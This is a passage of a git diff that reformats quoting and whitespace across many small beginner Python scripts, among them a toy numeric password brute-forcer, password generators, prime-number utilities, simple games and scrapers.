"".join(combination) yield password + def password_cracker(target_password, max_length=8): # Try different password lengths and generate permutations for length in range(1, max_length + 1): @@ -16,6 +18,7 @@ def password_cracker(target_password, max_length=8): return password return None + if __name__ == "__main__": # Target numeric password (change this to the password you want to crack) target_password = "9133278" @@ -26,5 +29,6 @@ def password_cracker(target_password, max_length=8): if cracked_password: print(f"Password successfully cracked! The password is: {cracked_password}") else: - print("Password not found. Try increasing the max_length or target a different password.") - + print( + "Password not found. Try increasing the max_length or target a different password." + ) diff --git a/palindrome.py b/palindrome.py index 7be1c01c05d..9a9f7ea3531 100644 --- a/palindrome.py +++ b/palindrome.py @@ -1,15 +1,16 @@ def is_palindrome(text): - text=text.lower() + text = text.lower() - cleaned="" + cleaned = "" for char in text: if char.isalnum(): - cleaned+=char + cleaned += char - reversed_text=cleaned[::-1] - return cleaned== reversed_text + reversed_text = cleaned[::-1] + return cleaned == reversed_text -user_input=input("Enter a word or a sentence:") + +user_input = input("Enter a word or a sentence:") if is_palindrome(user_input): print("It's a palindrome") else: diff --git a/password_checker.py b/password_checker.py index afc5f7203ba..4fb610d90a8 100644 --- a/password_checker.py +++ b/password_checker.py @@ -1,24 +1,27 @@ import time -pwd="AKS2608" #any password u want to set + +pwd = "AKS2608" # any password u want to set + def IInd_func(): - count1=0 - for j in range(5): - a=0 - count=0 - user_pwd = input("") #password you remember - for i in range(len(pwd)): - if user_pwd[i] == pwd[a]: #comparing remembered pwd with fixed pwd - a +=1 - count+=1 - if count==len(pwd): - print("correct pwd") - break - else: - count1 += 1 - print("not correct") - if count1==5: - time.sleep(30) - IInd_func() + count1 = 0 + for j in range(5): + a = 0 + count = 0 + user_pwd = input("") # password you remember + for i in range(len(pwd)): + if user_pwd[i] == pwd[a]: # comparing remembered pwd with fixed pwd + a += 1 + count += 1 + if count == len(pwd): + print("correct pwd") + break + else: + count1 += 1 + print("not correct") + if count1 == 5: + time.sleep(30) + IInd_func() + IInd_func() diff --git a/password_programs_multiple/animal_name_scraiper.py b/password_programs_multiple/animal_name_scraiper.py index ea0e0f15d00..450dd9a03bd 100644 --- a/password_programs_multiple/animal_name_scraiper.py +++ b/password_programs_multiple/animal_name_scraiper.py @@ -47,7 +47,6 @@ while next_sibling and next_sibling.name == "br": next_sibling = next_sibling.next_sibling - # Print the text content of the next sibling element if next_sibling: print(next_sibling.text.strip()) diff --git a/password_programs_multiple/passwordGenerator.py b/password_programs_multiple/passwordGenerator.py index d1a76773e62..2e7678ae660 100644 --- a/password_programs_multiple/passwordGenerator.py +++ b/password_programs_multiple/passwordGenerator.py @@ -4,21 +4,79 @@ import random import pycountry + def generate_password(): # Define characters and word sets special_characters = list("!@#$%/?<>|&*-=+_") - + animals = ( - "ant", "alligator", "baboon", "badger", "barb", "bat", "beagle", "bear", "beaver", "bird", - "bison", "bombay", "bongo", "booby", "butterfly", "bee", "camel", "cat", "caterpillar", - "catfish", "cheetah", "chicken", "chipmunk", "cow", "crab", "deer", "dingo", "dodo", "dog", - "dolphin", "donkey", "duck", "eagle", "earwig", "elephant", "emu", "falcon", "ferret", "fish", - "flamingo", "fly", "fox", "frog", "gecko", "gibbon", "giraffe", "goat", "goose", "gorilla" + "ant", + "alligator", + "baboon", + "badger", + "barb", + "bat", + "beagle", + "bear", + "beaver", + "bird", + "bison", + "bombay", + "bongo", + "booby", + "butterfly", + "bee", + "camel", + "cat", + "caterpillar", + "catfish", + "cheetah", + "chicken", + "chipmunk", + "cow", + "crab", + "deer", + "dingo", + "dodo", + "dog", + "dolphin", + "donkey", + "duck", + "eagle", + "earwig", + "elephant", + "emu", + "falcon", + "ferret", + "fish", + "flamingo", + "fly", + "fox", + "frog", + "gecko", + "gibbon", + "giraffe", + "goat", + "goose", + "gorilla", ) colours = ( - "red", "orange", "yellow", "green", "blue", "indigo", "violet", "purple", - "magenta", "cyan", "pink", "brown", "white", "grey", "black" + "red", + "orange", + "yellow", + "green", + "blue", + "indigo", + "violet", + "purple", + "magenta", + "cyan", + "pink", + "brown", + "white", + "grey", + "black", ) # Get random values @@ -45,5 +103,6 @@ def generate_password(): print("Based on Country:", country) print("Language Hint:", language) + # Run it generate_password() diff --git a/personal_translator.py b/personal_translator.py index 6a704d572c2..146d62e7346 100644 --- a/personal_translator.py +++ b/personal_translator.py @@ -12,6 +12,7 @@ from googletrans import Translator + # make a simple function that will translate any language to english def text_translator(Text): translator = Translator() diff --git a/ping_servers.py b/ping_servers.py index bce734e45e9..22b2f876cc5 100644 --- a/ping_servers.py +++ b/ping_servers.py @@ -29,7 +29,6 @@ ) sys.exit(0) else: - if ( len(sys.argv) < 3 ): # If no arguments are passed,display the help/instructions on how to run the script diff --git a/ping_subnet.py b/ping_subnet.py index e8eb28d933f..15677892f37 100644 --- a/ping_subnet.py +++ b/ping_subnet.py @@ -25,7 +25,6 @@ ) sys.exit(0) else: - if ( len(sys.argv) < 2 ): # If no arguments are passed then display the help and instructions on how to run the script diff --git a/power_of_n.py b/power_of_n.py index 69b8994be94..f0800006682 100644 --- a/power_of_n.py +++ b/power_of_n.py @@ -3,6 +3,7 @@ __version__ = "1.0.0" __date__ = "2023-09-03" + def binaryExponentiation(x: float, n: int) -> float: """ Function to calculate x raised to the power n (i.e., x^n) where x is a float number and n is an integer and it will return float value @@ -49,10 +50,9 @@ def binaryExponentiation(x: float, n: int) -> float: print(f"Version: {__version__}") print(f"Function Documentation: {binaryExponentiation.__doc__}") print(f"Date: {__date__}") - - print() # Blank Line + + print() # Blank Line print(binaryExponentiation(2.00000, 10)) print(binaryExponentiation(2.10000, 3)) print(binaryExponentiation(2.00000, -2)) - \ No newline at end of file diff --git a/powers of 2.py b/powers of 2.py index 5ac0e09fc36..919f1e1528f 100644 --- a/powers of 2.py +++ b/powers of 2.py @@ -6,8 +6,8 @@ # terms = int(input("How many terms? ")) # use anonymous function -result = list(map(lambda x: 2 ** x, range(terms))) +result = list(map(lambda x: 2**x, range(terms))) -print("The total terms are:",terms) +print("The total terms are:", terms) for i in range(terms): - print("2 raised to power",i,"is",result[i]) + print("2 raised to power", i, "is", result[i]) diff --git a/primelib/primelib.py b/primelib/primelib.py index 65856679561..e43f267c7d2 100644 --- a/primelib/primelib.py +++ b/primelib/primelib.py @@ -16,7 +16,7 @@ greatestPrimeFactor(number) smallestPrimeFactor(number) getPrime(n) -getPrimesBetween(pNumber1, pNumber2) +getPrimesBetween(pNumber1, pNumber2) ---- @@ -51,7 +51,7 @@ def pi(maxK=70, prec=1008, disp=1007): gc().prec = prec K, M, L, X, S = 6, 1, 13591409, 1, 13591409 for k in range(1, maxK + 1): - M = Dec((K ** 3 - (K << 4)) * M / k ** 3) + M = Dec((K**3 - (K << 4)) * M / k**3) L += 545140134 X *= -262537412640768000 S += Dec(M * L) / X @@ -68,9 +68,9 @@ def isPrime(number): """ # precondition - assert isinstance(number, int) and ( - number >= 0 - ), "'number' must been an int and positive" + assert isinstance(number, int) and (number >= 0), ( + "'number' must been an int and positive" + ) # 0 and 1 are none primes. if number <= 3: @@ -138,7 +138,6 @@ def getPrimeNumbers(N): # iterates over all numbers between 2 up to N+1 # if a number is prime then appends to list 'ans' for number in range(2, N + 1): - if isPrime(number): ans.append(number) @@ -169,14 +168,11 @@ def primeFactorization(number): quotient = number if number == 0 or number == 1: - ans.append(number) # if 'number' not prime then builds the prime factorization of 'number' elif not isPrime(number): - while quotient != 1: - if isPrime(factor) and (quotient % factor == 0): ans.append(factor) quotient /= factor @@ -202,9 +198,9 @@ def greatestPrimeFactor(number): """ # precondition - assert isinstance(number, int) and ( - number >= 0 - ), "'number' bust been an int and >= 0" + assert isinstance(number, int) and (number >= 0), ( + "'number' bust been an int and >= 0" + ) ans = 0 @@ -229,9 +225,9 @@ def smallestPrimeFactor(number): """ # precondition - assert isinstance(number, int) and ( - number >= 0 - ), "'number' bust been an int and >= 0" + assert isinstance(number, int) and (number >= 0), ( + "'number' bust been an int and >= 0" + ) ans = 0 @@ -289,9 +285,9 @@ def goldbach(number): """ # precondition - assert ( - isinstance(number, int) and (number > 2) and isEven(number) - ), "'number' must been an int, even and > 2" + assert isinstance(number, int) and (number > 2) and isEven(number), ( + "'number' must been an int, even and > 2" + ) ans = [] # this list will returned @@ -307,11 +303,9 @@ def goldbach(number): loop = True while i < lenPN and loop: - j = i + 1 while j < lenPN and loop: - if primeNumbers[i] + primeNumbers[j] == number: loop = False ans.append(primeNumbers[i]) @@ -359,9 +353,9 @@ def gcd(number1, number2): number2 = rest # precondition - assert isinstance(number1, int) and ( - number1 >= 0 - ), "'number' must been from type int and positive" + assert isinstance(number1, int) and (number1 >= 0), ( + "'number' must been from type int and positive" + ) return number1 @@ -388,13 +382,11 @@ def kgV(number1, number2): # for kgV (x,1) if number1 > 1 and number2 > 1: - # builds the prime factorization of 'number1' and 'number2' primeFac1 = primeFactorization(number1) primeFac2 = primeFactorization(number2) elif number1 == 1 or number2 == 1: - primeFac1 = [] primeFac2 = [] ans = max(number1, number2) @@ -406,11 +398,8 @@ def kgV(number1, number2): # iterates through primeFac1 for n in primeFac1: - if n not in done: - if n in primeFac2: - count1 = primeFac1.count(n) count2 = primeFac2.count(n) @@ -418,7 +407,6 @@ def kgV(number1, number2): ans *= n else: - count1 = primeFac1.count(n) for i in range(count1): @@ -428,9 +416,7 @@ def kgV(number1, number2): # iterates through primeFac2 for n in primeFac2: - if n not in done: - count2 = primeFac2.count(n) for i in range(count2): @@ -439,9 +425,9 @@ def kgV(number1, number2): done.append(n) # precondition - assert isinstance(ans, int) and ( - ans >= 0 - ), "'ans' must been from type int and positive" + assert isinstance(ans, int) and (ans >= 0), ( + "'ans' must been from type int and positive" + ) return ans @@ -463,7 +449,6 @@ def getPrime(n): ans = 2 # this variable holds the answer while index < n: - index += 1 ans += 1 # counts to the next number @@ -474,9 +459,9 @@ def getPrime(n): ans += 1 # precondition - assert isinstance(ans, int) and isPrime( - ans - ), "'ans' must been a prime number and from type int" + assert isinstance(ans, int) and isPrime(ans), ( + "'ans' must been a prime number and from type int" + ) return ans @@ -493,9 +478,9 @@ def getPrimesBetween(pNumber1, pNumber2): """ # precondition - assert ( - isPrime(pNumber1) and isPrime(pNumber2) and (pNumber1 < pNumber2) - ), "The arguments must been prime numbers and 'pNumber1' < 'pNumber2'" + assert isPrime(pNumber1) and isPrime(pNumber2) and (pNumber1 < pNumber2), ( + "The arguments must been prime numbers and 'pNumber1' < 'pNumber2'" + ) number = pNumber1 + 1 # jump to the next number @@ -507,7 +492,6 @@ def getPrimesBetween(pNumber1, pNumber2): number += 1 while number < pNumber2: - ans.append(number) number += 1 @@ -540,7 +524,6 @@ def getDivisors(n): ans = [] # will be returned. for divisor in range(1, n + 1): - if n % divisor == 0: ans.append(divisor) @@ -560,9 +543,9 @@ def isPerfectNumber(number): """ # precondition - assert isinstance(number, int) and ( - number > 1 - ), "'number' must been an int and >= 1" + assert isinstance(number, int) and (number > 1), ( + "'number' must been an int and >= 1" + ) divisors = getDivisors(number) diff --git a/print hello world.py b/print hello world.py index 0e3295e312d..1d6d4214987 100644 --- a/print hello world.py +++ b/print hello world.py @@ -1,3 +1,3 @@ # This program prints Hello, world! -print('Hello, world!') +print("Hello, world!") diff --git a/printing_hello_world.py b/printing_hello_world.py index 6d95fe97a12..44159b3954c 100644 --- a/printing_hello_world.py +++ b/printing_hello_world.py @@ -1 +1 @@ -print("Hello world") \ No newline at end of file +print("Hello world") diff --git a/prison_break_scrapper.py b/prison_break_scrapper.py index ad50636cd6a..5aaf5ca5601 100644 --- a/prison_break_scrapper.py +++ b/prison_break_scrapper.py @@ -2,6 +2,7 @@ Scrapper for downloading prison break series from an open server and putting them in a designated folder. """ + import os import subprocess diff --git a/pygame.py b/pygame.py index d35a34b0ee4..3676b4bd850 100644 --- a/pygame.py +++ b/pygame.py @@ -22,7 +22,7 @@ print("Whoever wins more matches will be the winner\n") while x < 10: - print(f"Game No. {x+1}") + print(f"Game No. {x + 1}") for key, value in choices.items(): print(f"Choose {key} for {value}") diff --git a/python Space Invader game.py b/python Space Invader game.py index 2d07677f67e..98cdc769ce9 100644 --- a/python Space Invader game.py +++ b/python Space Invader game.py @@ -12,19 +12,19 @@ # background -background = pygame.image.load('background.png') +background = pygame.image.load("background.png") -#bg sound -mixer.music.load('background.wav') +# bg sound +mixer.music.load("background.wav") mixer.music.play(-1) # title and icon pygame.display.set_caption("Space Invendera") -icon = pygame.image.load('battleship.png') +icon = pygame.image.load("battleship.png") pygame.display.set_icon(icon) # player -playerimg = pygame.image.load('transport.png') +playerimg = pygame.image.load("transport.png") playerx = 370 playery = 480 playerx_change = 0 @@ -38,37 +38,40 @@ number_of_enemies = 6 for i in range(number_of_enemies): - enemyimg.append(pygame.image.load('enemy.png')) + enemyimg.append(pygame.image.load("enemy.png")) enemyx.append(random.randint(0, 800)) enemyy.append(random.randint(50, 150)) enemyx_change.append(2.5) enemyy_change.append(40) # bullet -bulletimg = pygame.image.load('bullet.png') +bulletimg = pygame.image.load("bullet.png") bulletx = 0 bullety = 480 bulletx_change = 0 bullety_change = 10 bullet_state = "ready" -#score +# score score_value = 0 -font = pygame.font.Font('freesansbold.ttf',32) +font = pygame.font.Font("freesansbold.ttf", 32) textx = 10 texty = 10 -#game over txt -over_font = pygame.font.Font('freesansbold.ttf',64) +# game over txt +over_font = pygame.font.Font("freesansbold.ttf", 64) -def show_score(x ,y): - score = font.render("score :"+ str(score_value),True, (255, 255, 255)) + +def show_score(x, y): + score = font.render("score :" + str(score_value), True, (255, 255, 255)) screen.blit(score, (x, y)) + def game_over_text(): over_txt = over_font.render("GAME OVER", True, (255, 255, 255)) screen.blit(over_txt, (200, 250)) + # for display player img def player(x, y): screen.blit(playerimg, (x, y)) @@ -76,7 +79,8 @@ def player(x, y): # foe desplaing enemy img -def enemy(x, y ,i): + +def enemy(x, y, i): screen.blit(enemyimg[i], (x, y)) @@ -87,7 +91,9 @@ def fire_bullet(x, y): def iscollision(enemyx, enemyy, bulletx, bullety): - distance = math.sqrt((math.pow(enemyx - bulletx, 2)) + (math.pow(enemyy - bullety, 2))) + distance = math.sqrt( + (math.pow(enemyx - bulletx, 2)) + (math.pow(enemyy - bullety, 2)) + ) if distance < 27: return True else: @@ -97,7 +103,6 @@ def iscollision(enemyx, enemyy, bulletx, bullety): # game loop running = True while running: - screen.fill((0, 0, 0)) # for bg img screen.blit(background, (0, 0)) @@ -107,20 +112,20 @@ def iscollision(enemyx, enemyy, bulletx, bullety): running = False # if keystroke in pressed whether it is right of left - if (event.type == pygame.KEYDOWN): - if (event.key == pygame.K_LEFT): + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_LEFT: playerx_change = -5 - if (event.key == pygame.K_RIGHT): + if event.key == pygame.K_RIGHT: playerx_change = 5 - if (event.key == pygame.K_SPACE): + if event.key == pygame.K_SPACE: if bullet_state == "ready": - bullet_sound = mixer.Sound('laser.wav') + bullet_sound = mixer.Sound("laser.wav") bullet_sound.play() bulletx = playerx fire_bullet(bulletx, bullety) - if (event.type == pygame.KEYUP): + if event.type == pygame.KEYUP: if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT: playerx_change = 0 @@ -132,8 +137,7 @@ def iscollision(enemyx, enemyy, bulletx, bullety): playerx = 736 for i in range(number_of_enemies): - - #game over + # game over if enemyy[i] > 440: for j in range(number_of_enemies): enemyy[j] = 2000 @@ -152,7 +156,7 @@ def iscollision(enemyx, enemyy, bulletx, bullety): # collision collision = iscollision(enemyx[i], enemyy[i], bulletx, bullety) if collision: - explossion_sound = mixer.Sound('explosion.wav') + explossion_sound = mixer.Sound("explosion.wav") explossion_sound.play() bullety = 480 bullet_state = "ready" @@ -172,5 +176,5 @@ def iscollision(enemyx, enemyy, bulletx, bullety): bullety -= bullety_change player(playerx, playery) - show_score(textx,texty) + show_score(textx, texty) pygame.display.update() diff --git a/python program for finding square root for positive number.py b/python program for finding square root for positive number.py index dcb8251f839..2a2a2dc79b9 100644 --- a/python program for finding square root for positive number.py +++ b/python program for finding square root for positive number.py @@ -1,10 +1,10 @@ # Python Program to calculate the square root # Note: change this value for a different result -num = 8 +num = 8 # To take the input from the user -#num = float(input('Enter a number: ')) +# num = float(input('Enter a number: ')) -num_sqrt = num ** 0.5 -print('The square root of %0.3f is %0.3f'%(num ,num_sqrt)) +num_sqrt = num**0.5 +print("The square root of %0.3f is %0.3f" % (num, num_sqrt)) diff --git a/pythonVideoDownloader.py b/pythonVideoDownloader.py index 7bae8eac998..ce8422e367e 100644 --- a/pythonVideoDownloader.py +++ b/pythonVideoDownloader.py @@ -33,7 +33,6 @@ def get_video_links(): def download_video_series(video_links): for link in video_links: - """iterate through all links in video_links and download them one by one""" diff --git a/python_sms.py b/python_sms.py index b5e578b3b86..99cf8f943dc 100644 --- a/python_sms.py +++ b/python_sms.py @@ -35,9 +35,7 @@ sname = row[0] snumber = row[1] - message = ( - f"{sname} There will be NO training tonight on the {tdate}. Sorry for the late notice, I have sent a mail as well, just trying to reach everyone, please do not reply to this message as this is automated" - ) + message = f"{sname} There will be NO training tonight on the {tdate}. Sorry for the late notice, I have sent a mail as well, just trying to reach everyone, please do not reply to this message as this is automated" username = "YOUR_USERNAME" sender = "WHO_IS_SENDING_THE_MAIL" @@ -67,10 +65,8 @@ postdata = urllib.urlencode(values) req = urllib2.Request(url, postdata) - print( f"Attempting to send SMS to {sname} at {snumber} on {tdate}") - f.write( - f"Attempting to send SMS to {sname} at {snumber} on {tdate}" - ) + print(f"Attempting to send SMS to {sname} at {snumber} on {tdate}") + f.write(f"Attempting to send SMS to {sname} at {snumber} on {tdate}") try: response = urllib2.urlopen(req) diff --git a/python_webscraper.py b/python_webscraper.py index a9322761a1c..fab418247d5 100644 --- a/python_webscraper.py +++ b/python_webscraper.py @@ -1,19 +1,20 @@ import requests from bs4 import BeautifulSoup + # Make a request on to your website page = requests.get("Paste your Website Domain here") -soup = BeautifulSoup(page.content, 'html.parser') +soup = BeautifulSoup(page.content, "html.parser") # Create all_h1_tags as empty list all_h1_tags = [] # Set all_h1_tags to all h1 tags of the soup -for element in soup.select('h1'): +for element in soup.select("h1"): all_h1_tags.append(element.text) # Create seventh_p_text and set it to 7th p element text of the page -seventh_p_text = soup.select('p')[6].text +seventh_p_text = soup.select("p")[6].text print(all_h1_tags, seventh_p_text) -# print all h1 elements and the text of the website on your console +# print all h1 elements and the text of the website on your console diff --git a/qrcode.py b/qrcode.py index 0b9a8d6179c..69e10eed74d 100644 --- a/qrcode.py +++ b/qrcode.py @@ -1,15 +1,14 @@ - import qrcode import cv2 -qr= qrcode.QRCode(version=1, box_size=10, border=5) +qr = qrcode.QRCode(version=1, box_size=10, border=5) data = input() qr.add_data(data) qr.make(fit=True) img = qr.make_image(fill_color="blue", back_color="white") -path=data+".png" +path = data + ".png" img.save(path) -cv2.imshow("QRCode",img) +cv2.imshow("QRCode", img) cv2.waitKey(0) cv2.destroyAllWindows() diff --git a/quiz_game.py b/quiz_game.py index c1ffd6696b0..cd2a8aff48c 100644 --- a/quiz_game.py +++ b/quiz_game.py @@ -1,32 +1,37 @@ -print('Welcome to AskPython Quiz') -answer=input('Are you ready to play the Quiz ? (yes/no) :') -score=0 -total_questions=3 - -if answer.lower()=='yes': - answer=input('Question 1: What is your Favourite programming language?') - if answer.lower()=='python': +print("Welcome to AskPython Quiz") +answer = input("Are you ready to play the Quiz ? (yes/no) :") +score = 0 +total_questions = 3 + +if answer.lower() == "yes": + answer = input("Question 1: What is your Favourite programming language?") + if answer.lower() == "python": score += 1 - print('correct') + print("correct") else: - print('Wrong Answer :(') - - - answer=input('Question 2: Do you follow any author on AskPython? ') - if answer.lower()=='yes': + print("Wrong Answer :(") + + answer = input("Question 2: Do you follow any author on AskPython? ") + if answer.lower() == "yes": score += 1 - print('correct') + print("correct") else: - print('Wrong Answer :(') - - answer=input('Question 3: What is the name of your favourite website for learning Python?') - if answer.lower()=='askpython': + print("Wrong Answer :(") + + answer = input( + "Question 3: What is the name of your favourite website for learning Python?" + ) + if answer.lower() == "askpython": score += 1 - print('correct') + print("correct") else: - print('Wrong Answer :(') - -print('Thankyou for Playing this small quiz game, you attempted',score,"questions correctly!") -mark=(score/total_questions)*100 -print('Marks obtained:',mark) -print('BYE!') \ No newline at end of file + print("Wrong Answer :(") + +print( + "Thankyou for Playing this small quiz game, you attempted", + score, + "questions correctly!", +) +mark = (score / total_questions) * 100 +print("Marks obtained:", mark) +print("BYE!") diff --git a/random_password_gen.py b/random_password_gen.py index b3fbb3bbbba..64fb87b7a23 100644 --- a/random_password_gen.py +++ b/random_password_gen.py @@ -11,11 +11,13 @@ import random import string + def generate_password(length=12): characters = string.ascii_letters + string.digits + string.punctuation - password = ''.join(random.choice(characters) for _ in range(length)) + password = "".join(random.choice(characters) for _ in range(length)) return password + def main(): print("Random Password Generator") try: @@ -34,5 +36,6 @@ def main(): except ValueError: print(" Please enter a valid number.") + if __name__ == "__main__": main() diff --git a/rangoli.py b/rangoli.py index 75191e08546..0fc7ccccc10 100644 --- a/rangoli.py +++ b/rangoli.py @@ -3,7 +3,7 @@ # Prints a rangoli of size n def print_rangoli(n): - """Prints a rangoli of size n""" + """Prints a rangoli of size n""" # Width of the rangoli width = 4 * n - 3 @@ -40,6 +40,6 @@ def print_rangoli(n): string = "" -if __name__ == '__main__': +if __name__ == "__main__": n = int(input()) print_rangoli(n) diff --git a/reading_csv.py b/reading_csv.py index 8c1acd1ff43..8adad249270 100644 --- a/reading_csv.py +++ b/reading_csv.py @@ -1,16 +1,20 @@ -import pandas as pd +import pandas as pd # reading csv file into python -df= pd.read_csv(r"c:\PROJECT\Drug_Recommendation_System\drug_recommendation_system\Drugs_Review_Datasets.csv") # Replace the path with your own file path +df = pd.read_csv( + r"c:\PROJECT\Drug_Recommendation_System\drug_recommendation_system\Drugs_Review_Datasets.csv" +) # Replace the path with your own file path print(df) # Basic functions -print(df.info()) # Provides a short summary of the DataFrame -print(df.head()) # prints first 5 rows -print(df.tail()) # prints last 5 rows -print(df.describe()) #statistical summary of numeric columns -print(df.columns) # Returns column names -print(df.shape) # Returns the number of rows and columnsrr +print(df.info()) # Provides a short summary of the DataFrame +print(df.head()) # prints first 5 rows +print(df.tail()) # prints last 5 rows +print(df.describe()) # statistical summary of numeric columns +print(df.columns) # Returns column names +print(df.shape) # Returns the number of rows and columnsrr -print(help(pd)) # Use help(pd) to explore and understand the available functions and attributes in the pandas (pd) lib \ No newline at end of file +print( + help(pd) +) # Use help(pd) to explore and understand the available functions and attributes in the pandas (pd) lib diff --git a/recursiveStrings.py b/recursiveStrings.py index 874a1b0a104..0394638a78c 100644 --- a/recursiveStrings.py +++ b/recursiveStrings.py @@ -1,6 +1,6 @@ -""" author: Ataba29 +"""author: Ataba29 code has a matrix each list inside of the matrix has two strings -the code determines if the two strings are similar or different +the code determines if the two strings are similar or different from each other recursively """ @@ -9,19 +9,25 @@ def CheckTwoStrings(str1, str2): # function takes two strings and check if they are similar # returns True if they are identical and False if they are different - if(len(str1) != len(str2)): + if len(str1) != len(str2): return False - if(len(str1) == 1 and len(str2) == 1): + if len(str1) == 1 and len(str2) == 1: return str1[0] == str2[0] return (str1[0] == str2[0]) and CheckTwoStrings(str1[1:], str2[1:]) def main(): - matrix = [["hello", "wow"], ["ABSD", "ABCD"], - ["List", "List"], ["abcspq", "zbcspq"], - ["1263", "1236"], ["lamar", "lamars"], - ["amczs", "amczs"], ["yeet", "sheesh"], ] + matrix = [ + ["hello", "wow"], + ["ABSD", "ABCD"], + ["List", "List"], + ["abcspq", "zbcspq"], + ["1263", "1236"], + ["lamar", "lamars"], + ["amczs", "amczs"], + ["yeet", "sheesh"], + ] for i in matrix: if CheckTwoStrings(i[0], i[1]): diff --git a/recyclebin.py b/recyclebin.py index aed38daecb2..5bc0bcc0823 100644 --- a/recyclebin.py +++ b/recyclebin.py @@ -16,6 +16,7 @@ from winreg import OpenKey, HKEY_LOCAL_MACHINE, QueryValueEx + def sid2user(sid): # Start of the function to gather the user try: key = OpenKey( diff --git a/remove a character from a file and rewrite.py b/remove a character from a file and rewrite.py index 18029c53db2..d74fcf764e3 100644 --- a/remove a character from a file and rewrite.py +++ b/remove a character from a file and rewrite.py @@ -1,28 +1,28 @@ -#Remove all the lines that contain the character `a' in a file and write it to another file. -f=open("test1.txt","r") #opening file test1.txt -lines = f.readlines() #saved lines +# Remove all the lines that contain the character `a' in a file and write it to another file. +f = open("test1.txt", "r") # opening file test1.txt +lines = f.readlines() # saved lines print("Original file is :") print(lines) f.close() - -# Rewriting lines -e=open("test3.txt","w") # file containing lines with 'a' -f=open("test1.txt","w") # file containing lines without 'a' +# Rewriting lines + +e = open("test3.txt", "w") # file containing lines with 'a' +f = open("test1.txt", "w") # file containing lines without 'a' for line in lines: - if 'a' in line or 'A' in line: - e.write(line) - else: - f.write(line) - + if "a" in line or "A" in line: + e.write(line) + else: + f.write(line) + e.close() -f.close() +f.close() -f=open("test1.txt","r") -lines=f.readlines() +f = open("test1.txt", "r") +lines = f.readlines() -e=open("test3.txt","r") -lines1=e.readlines() +e = open("test3.txt", "r") +lines1 = e.readlines() print("\n") diff --git a/reversed_pattern3.py b/reversed_pattern3.py index f19ef159691..4ee6131ee41 100644 --- a/reversed_pattern3.py +++ b/reversed_pattern3.py @@ -1,20 +1,23 @@ -#Simple inverted number triangle piramid -#11111 -#2222 -#333 -#44 -#5 +# Simple inverted number triangle piramid +# 11111 +# 2222 +# 333 +# 44 +# 5 + def main(): lines = int(input("Enter no.of lines: ")) pattern(lines) + def pattern(lines): t = 1 - for i in reversed(range(1, (lines +1))): - format = str(t)*i + for i in reversed(range(1, (lines + 1))): + format = str(t) * i print(format) t = t + 1 + if __name__ == "__main__": main() diff --git a/russian_roulette.py b/russian_roulette.py index 337f8be8a86..82374186515 100644 --- a/russian_roulette.py +++ b/russian_roulette.py @@ -1,13 +1,13 @@ -""" author: Ataba29 - the code is just a russian roulette game against - the computer +"""author: Ataba29 +the code is just a russian roulette game against +the computer """ + from random import randrange import time def main(): - # create the gun and set the bullet numOfRounds = 6 gun = [0, 0, 0, 0, 0, 0] @@ -38,7 +38,7 @@ def main(): answer = input("please enter again ('m' or 'p'): ") # set turn - if answer == 'm': + if answer == "m": turn = "player" else: turn = "pc" @@ -49,8 +49,10 @@ def main(): time.sleep(1) print("the gun is being loaded") time.sleep(3) - print("the gun is placed on " + ("your head" if turn == - "player" else "the cpu of the pc")) + print( + "the gun is placed on " + + ("your head" if turn == "player" else "the cpu of the pc") + ) time.sleep(3) print("and...") time.sleep(1) diff --git a/saving_input_into_list.py b/saving_input_into_list.py index 03caac68016..065bc324acc 100644 --- a/saving_input_into_list.py +++ b/saving_input_into_list.py @@ -1,5 +1,5 @@ -ran= int(input("Enter the range of elements you want to store / insert ")) -l1=[] +ran = int(input("Enter the range of elements you want to store / insert ")) +l1 = [] for i in range(ran): l1.append(input("Enter here ")) @@ -10,4 +10,4 @@ program first asks the user how many values they want to enter. Then, using a loop, it lets the user enter that many values one by one. Each entered value is saved into a list called l1. Once all the values are entered, the program prints the complete list, showing everything the user typed. It's a beginner-friendly way to learn how to collect multiple inputs and store them for later use. -""" \ No newline at end of file +""" diff --git a/scientific_cal.py b/scientific_cal.py index 9827ec8f44f..11fccc450d5 100644 --- a/scientific_cal.py +++ b/scientific_cal.py @@ -1,14 +1,16 @@ import math + while True: print(""" Press 1 for basic calculator Press 2 for scientifc calculator""") try: - cho= int(input("enter your choice here.. ")) + cho = int(input("enter your choice here.. ")) if cho == 1: print(eval(input("enter the numbers with operator "))) - elif cho==2: - user = int(input(""" + elif cho == 2: + user = int( + input(""" Press 1 for pi calculation press 2 for sin calculation press 3 for exponent calculation @@ -16,30 +18,31 @@ press 5 for square root calculation press 6 round calculation press 7 for absoulte value - press any other number to exit the loop. """)) + press any other number to exit the loop. """) + ) - a= float(input("enter your value here.. ")) - if user== 1: - print(f"entered value : {a} result :{math.pi*(a)}") - elif user ==2: + a = float(input("enter your value here.. ")) + if user == 1: + print(f"entered value : {a} result :{math.pi * (a)}") + elif user == 2: print(f"entered value : {a} result :{math.sin(math.radians(a))}") elif user == 3: - power= float(input("enter the power")) + power = float(input("enter the power")) print(f"entered value : {a} result :{a**power}") - elif user ==4: + elif user == 4: angle_in_radians = math.radians(a) result = math.tan(angle_in_radians) print(f"entered value : {a} result :{result}") - elif user ==5 : + elif user == 5: print(f"entered value : {a} result :{math.sqrt(a)}") - elif user== 6: + elif user == 6: print(f"entered value : {a} result :{round(a)}") - elif user ==7 : + elif user == 7: print(f"entered value : {a} result :{abs(a)}") else: break except ZeroDivisionError: print("value cannot be divided by 0") except: - print("Enter only digits ") \ No newline at end of file + print("Enter only digits ") diff --git a/script_count.py b/script_count.py index b7a2a0164b8..f029cd68763 100644 --- a/script_count.py +++ b/script_count.py @@ -50,7 +50,6 @@ def github(): # Start of the function just to count the files in the github dir if ( github_count > 5 ): # If the number of files is greater then 5, then print the following messages - print("\nYou have too many in here, start uploading !!!!!") print("You have: " + str(github_count) + " waiting to be uploaded to github!!") elif github_count == 0: # Unless the count is 0, then print the following messages @@ -71,7 +70,6 @@ def development(): # Start of the function just to count the files in the devel if ( dev_count > 10 ): # If the number of files is greater then 10, then print the following messages - print("\nYou have too many in here, finish them or delete them !!!!!") print("You have: " + str(dev_count) + " waiting to be finished!!") elif dev_count == 0: # Unless the count is 0, then print the following messages diff --git a/sensors_information.py b/sensors_information.py index 694dc302904..0a233f26ab4 100644 --- a/sensors_information.py +++ b/sensors_information.py @@ -35,7 +35,7 @@ def show_sensors(): for address in ip_addresses(): print("IP Addresses: {0[1]} ({0[0]})".format(address)) print("CPU Load: {:.1f}".format(cpu_load())) - print("RAM Available: {} 